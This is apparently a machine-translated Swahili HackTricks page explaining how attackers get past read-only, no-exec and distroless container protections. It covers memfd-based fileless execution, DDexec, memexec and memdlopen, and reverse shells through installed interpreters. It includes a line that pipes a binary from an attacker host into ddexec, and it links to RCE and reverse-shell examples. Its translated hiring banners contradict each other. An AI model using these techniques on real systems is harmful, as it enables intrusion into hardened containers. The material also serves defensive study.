Bypass FS protections: read-only / no-exec / Distroless

Support HackTricks

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

Videos

In the following videos you can find the techniques mentioned in this page explained more in depth:

read-only / no-exec scenario

Ni kawaida zaidi na zaidi kukutana na mashine za linux zilizowekwa na read-only (ro) file system protection, hasa katika kontena. Hii ni kwa sababu kuendesha kontena na mfumo wa faili wa ro ni rahisi kama kuweka readOnlyRootFilesystem: true katika securitycontext:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Hata hivyo, hata kama mfumo wa faili umewekwa kama ro, /dev/shm bado itaandikwa, hivyo ni uongo hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa imewekwa na ulinzi wa no-exec, hivyo ikiwa utashusha binary hapa huwezi kuweza kuitekeleza.

Kutoka kwa mtazamo wa timu nyekundu, hii inafanya kuwa ngumu kupakua na kutekeleza binaries ambazo hazipo kwenye mfumo tayari (kama backdoors au enumerators kama kubectl).

Easiest bypass: Scripts

Kumbuka kwamba nilitaja binaries, unaweza kutekeleza script yoyote mradi tu mfasiri yuko ndani ya mashine, kama shell script ikiwa sh inapatikana au python script ikiwa python imewekwa.

Hata hivyo, hii haitoshi kutekeleza backdoor yako ya binary au zana nyingine za binary unazoweza kuhitaji kuendesha.

Memory Bypasses

Ikiwa unataka kutekeleza binary lakini mfumo wa faili haukuruhusu hilo, njia bora ya kufanya hivyo ni kwa kuitekeleza kutoka kwenye kumbukumbu, kwani ulinzi hauwezi kutumika huko.

FD + exec syscall bypass

Ikiwa una baadhi ya injini za script zenye nguvu ndani ya mashine, kama Python, Perl, au Ruby unaweza kupakua binary ili kuitekeleza kutoka kwenye kumbukumbu, kuihifadhi katika file descriptor ya kumbukumbu (create_memfd syscall), ambayo haitalindwa na ulinzi huo na kisha kuita exec syscall ikionyesha fd kama faili ya kutekeleza.

Kwa hili unaweza kwa urahisi kutumia mradi fileless-elf-exec. Unaweza kupitisha binary na itaunda script katika lugha iliyoonyeshwa na binary iliyoshinikizwa na b64 encoded na maagizo ya kufungua na kuondoa shinikizo katika fd iliyoundwa kwa kuita create_memfd syscall na wito kwa exec syscall kuikimbia.

Hii haiwezi kufanya kazi katika lugha nyingine za scripting kama PHP au Node kwa sababu hazina njia yoyote ya kawaida ya kuita raw syscalls kutoka kwenye script, hivyo haiwezekani kuita create_memfd kuunda memory fd kuhifadhi binary.

Zaidi ya hayo, kuunda fd ya kawaida na faili katika /dev/shm haitafanya kazi, kwani hutaruhusiwa kuikimbia kwa sababu ulinzi wa no-exec utaweza kutumika.

DDexec / EverythingExec

DDexec / EverythingExec ni mbinu inayokuruhusu kubadilisha kumbukumbu ya mchakato wako mwenyewe kwa kuandika tena /proc/self/mem.

Hivyo, kuweza kudhibiti msimbo wa mkusanyiko unaotekelezwa na mchakato, unaweza kuandika shellcode na "kubadilisha" mchakato ili kutekeleza msimbo wowote wa kawaida.

DDexec / EverythingExec itakuruhusu kupakia na kutekeleza shellcode yako mwenyewe au binary yoyote kutoka kumbukumbu.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

Kwa maelezo zaidi kuhusu mbinu hii angalia Github au:

DDexec / EverythingExec

MemExec

Memexec ni hatua ya asili inayofuata ya DDexec. Ni DDexec shellcode demonised, hivyo kila wakati unapotaka kufanya kazi na binary tofauti huwezi kuanzisha tena DDexec, unaweza tu kuendesha memexec shellcode kupitia mbinu ya DDexec na kisha kuwasiliana na demon hii ili kupitisha binaries mpya za kupakia na kuendesha.

Unaweza kupata mfano wa jinsi ya kutumia memexec kutekeleza binaries kutoka kwa PHP reverse shell katika https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Kwa kusudi linalofanana na DDexec, mbinu ya memdlopen inaruhusu njia rahisi ya kupakia binaries kwenye kumbukumbu ili baadaye kuziendesha. Inaweza hata kuruhusu kupakia binaries zenye utegemezi.

Distroless Bypass

Nini distroless

Mizigo ya distroless ina sehemu tu za muhimu kabisa zinazohitajika kuendesha programu au huduma maalum, kama vile maktaba na utegemezi wa wakati wa kuendesha, lakini inatenga sehemu kubwa kama vile meneja wa pakiti, shell, au zana za mfumo.

Lengo la mizigo ya distroless ni kupunguza uso wa shambulio wa mizigo kwa kuondoa sehemu zisizohitajika na kupunguza idadi ya udhaifu ambao unaweza kutumiwa.

Reverse Shell

Katika mizigo ya distroless huenda usipate hata sh au bash kupata shell ya kawaida. Hutaweza pia kupata binaries kama ls, whoami, id... kila kitu ambacho kawaida unakimbia kwenye mfumo.

Hivyo, huwezi kupata reverse shell au kuhesabu mfumo kama kawaida unavyofanya.

Hata hivyo, ikiwa kontena lililovunjwa linaendesha kwa mfano flask web, basi python imewekwa, na hivyo unaweza kupata Python reverse shell. Ikiwa linaendesha node, unaweza kupata Node rev shell, na vivyo hivyo na lugha nyingi za kuandika.

Kwa kutumia lugha ya kuandika unaweza kuhesabu mfumo kwa kutumia uwezo wa lugha hiyo.

Ikiwa hakuna read-only/no-exec ulinzi unaweza kutumia reverse shell yako kuandika kwenye mfumo wa faili binaries zako na kuziendesha.

Hata hivyo, katika aina hii ya mizigo ulinzi huu kwa kawaida utawepo, lakini unaweza kutumia mbinu za awali za utekelezaji wa kumbukumbu kuzipita.

Unaweza kupata mfano wa jinsi ya kutumia udhaifu fulani wa RCE kupata lugha za kuandika reverse shells na kuendesha binaries kutoka kwenye kumbukumbu katika https://github.com/carlospolop/DistrolessRCE.

Ikiwa unavutiwa na kazi ya uhalifu na kuhack yasiyoweza kuhack - tunatafuta wafanyakazi! (kuandika na kuzungumza kwa kiswahili vizuri kunahitajika).

Support HackTricks

Last updated